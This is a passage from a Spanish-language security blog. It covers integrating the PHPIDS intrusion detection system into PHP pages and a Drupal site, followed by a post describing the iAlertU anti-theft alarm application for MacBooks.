      'REQUEST' => $_REQUEST,
      'GET' => $_GET,
      'POST' => $_POST,
      'COOKIE' => $_COOKIE );
$init = IDS_Init::init('/var/www/phpids/lib/IDS/Config/Config.ini');
$ids = new IDS_Monitor($request, $init);
$result = $ids->run();
if (!$result->isEmpty()) {
   echo $result;
   require_once 'IDS/Log/File.php';
   require_once 'IDS/Log/Composite.php';
   $cLog = new IDS_Log_Composite();
   $cLog->addLogger(IDS_Log_File::getInstance($init));
   $cLog->execute($result);
  }else print(“<h1>Todo OK!</h1>”);
?>

En la web de howforge encontraréis este ejemplo y otros un poco más desarrollados, así como la explicación para poder usar PHPIDA en todas las páginas PHP sin tener que modificar una a una usando la propiedad de PHP auto_prepend_file.

Si no tienes ni idea de este gestor y no quieres tenerla, puedes dejar de leer, ya que a partir de aquí puede que no te interese mucho.

PHPIDS en Drupal

Otra manera de usar PHPIDS es mediante el módulo de Drupal (ver la página de PHPIDS en la web de Drupal). Este módulo permite configurar el programa desde la consola de Drupal y registra los eventos en la base de datos de este, para poder acceder a ellos de una forma más visual. La instalación es bastante sencilla.

1) Descargar el último paquete de PHPIDS si no lo teniamos.
2) Se descomprime el tar en el directorio para las bibliotecas externas de Drupal (/sites/all/libraries/phpids-0.7).
3) Se crea un directorio de archivos temporales de escritura para PHPIDS para almacenar en caché los filtros y se le añade permisos como en el apartado anterior (phpids-0.7/lib/IDS/tmp)
4) Se copia, instala el módulo de Drupal PHPIDS.

En la configuración (http://miweb/es/admin/settings/logging) se establece:

General
PHP-IDS Path: /opt/drupal/sites/all/libraries/phpids-0.7/lib
PHP-IDS Temp Path: /opt/drupal/sites/all/libraries/phpids-0.7/lib/IDS/tmp
Mail impact: 9

Filter settings.
Anonymous users: "Log Anonymous users without actions" 
Authenticated users: "Log Authenticated users users without actions"

El resto se quedan en blanco por el momento.

Con esto ya se tiene instalado y registrando los “accesos indebidos”. No se han tomado medidas, lo único que hacemos es registrar, de manera que si vamos a http://miweb/es/admin/reports/dblog podemos filtrar los eventos de PHPIDS como muestra la figura:

Y si hacemos clic sobre el enlace del mensaje, se puede ver todo el detalle:


En ambos casos se PHPIDS se puede configurar de varias maneras: que registre, que bloquee, distintos grados de seguridad etc. Espero que este post al menos haya servido para mostrar que no es difícil poner un +1 a la seguridad de una web PHP.

iAlertU: Software de seguridad para proteger equipos

Hace ya algún tiempo, un familiar recibió uno de sus mayores disgustos por un robo: un día previo a la época de exámenes fue a estudiar a en la universidad, concretamente a una de sus bibliotecas. Solía llevarse el portátil para no ir cargado, ya que prefería estudiar directamente en la pantalla en formato electrónico. Durante la mañana, decidió ir a tomar un café, era sólo un momento, enseguida volvería… Pues bien, a la vuelta, el portátil ya no estaba, y la pérdida no fue poca porque, para mayor desgracia, el portátil sustraído era un macbook, que como sabéis no es especialmente lo más barato del mercado.

Pensando en este caso, quiero explicar alguna de las opciones que tenemos a día de hoy para evitar que esto mismo nos pueda pasar. En primer lugar, y adaptado al caso, es decir, para un macbook, disponemos de una aplicación llamada iAlertU. Esta aplicación es una alarma que podemos activar en esos momentos en los que vamos a dejar el portátil descuidado, aunque en presencia de otras personas. La alarma se arma y desarma mediante una contraseña. Una vez armada, la alarma se puede configurar para que suene ante cualquier movimiento del equipo, gracias al sistema SMS (que no tiene nada que ver con envío de mensajes, es un sensor de movimiento: Sudden Motion Sensor) que lleva incorporado el MacBook. Gracias a este sensor, la alarma puede configurarse para que siga sonando hasta que el movimiento pare, y el ladrón se vea obligado a dejar el equipo donde estaba. Otras opciones permiten disparar la alarma ante otras situaciones, como por ejemplo, si alguien toca el trackpad, el teclado, si cierra la tapa o se desconecta la alimentación e incluso, y lo que puede resultar aún más útil, si se desconectan dispositivos del equipo, como por ejemplo un reproductor mp3.

El desarme se puede hacer de dos formas, bien introduciendo la contraseña (para ello, si no queremos dar la nota, recomiendo no activar el disparo de alarma ante eventos de teclado), o bien utilizando el apple remote, un mando a distancia, con lo que el equipo se acaba pareciendo a un coche (quizá demasiado), ya que incluso podemos configurar sonidos asociados al armado y desarmado de la alarma.

La guinda de la aplicación la pone la posibilidad de capturar automáticamente una foto mediante la cámara web integrada en el equipo, así como una captura de la pantalla en el momento de la alarma. El sistema permite el envío inmediato de un correo electrónico con estas capturas e información del momento en el que se produjo la alarma. Adicionalmente, en las opciones avanzadas, se pueden incluir scripts para ser ejecutados en el momento de disparo de alarma, por ejemplo para programar el envío de mensajes de alerta a un móvil además del envío predefinido por correo electrónico.

La aplicación iAlertU es fruto de un proyecto de desarrollo open-source con licencia GPL que comenzó en 2007. La aplicación ha sido desarrollada en Java y C. Actualmente, la última versión tiene las funcionalidades indicadas en este post, junto con la geo-localización mediante google maps.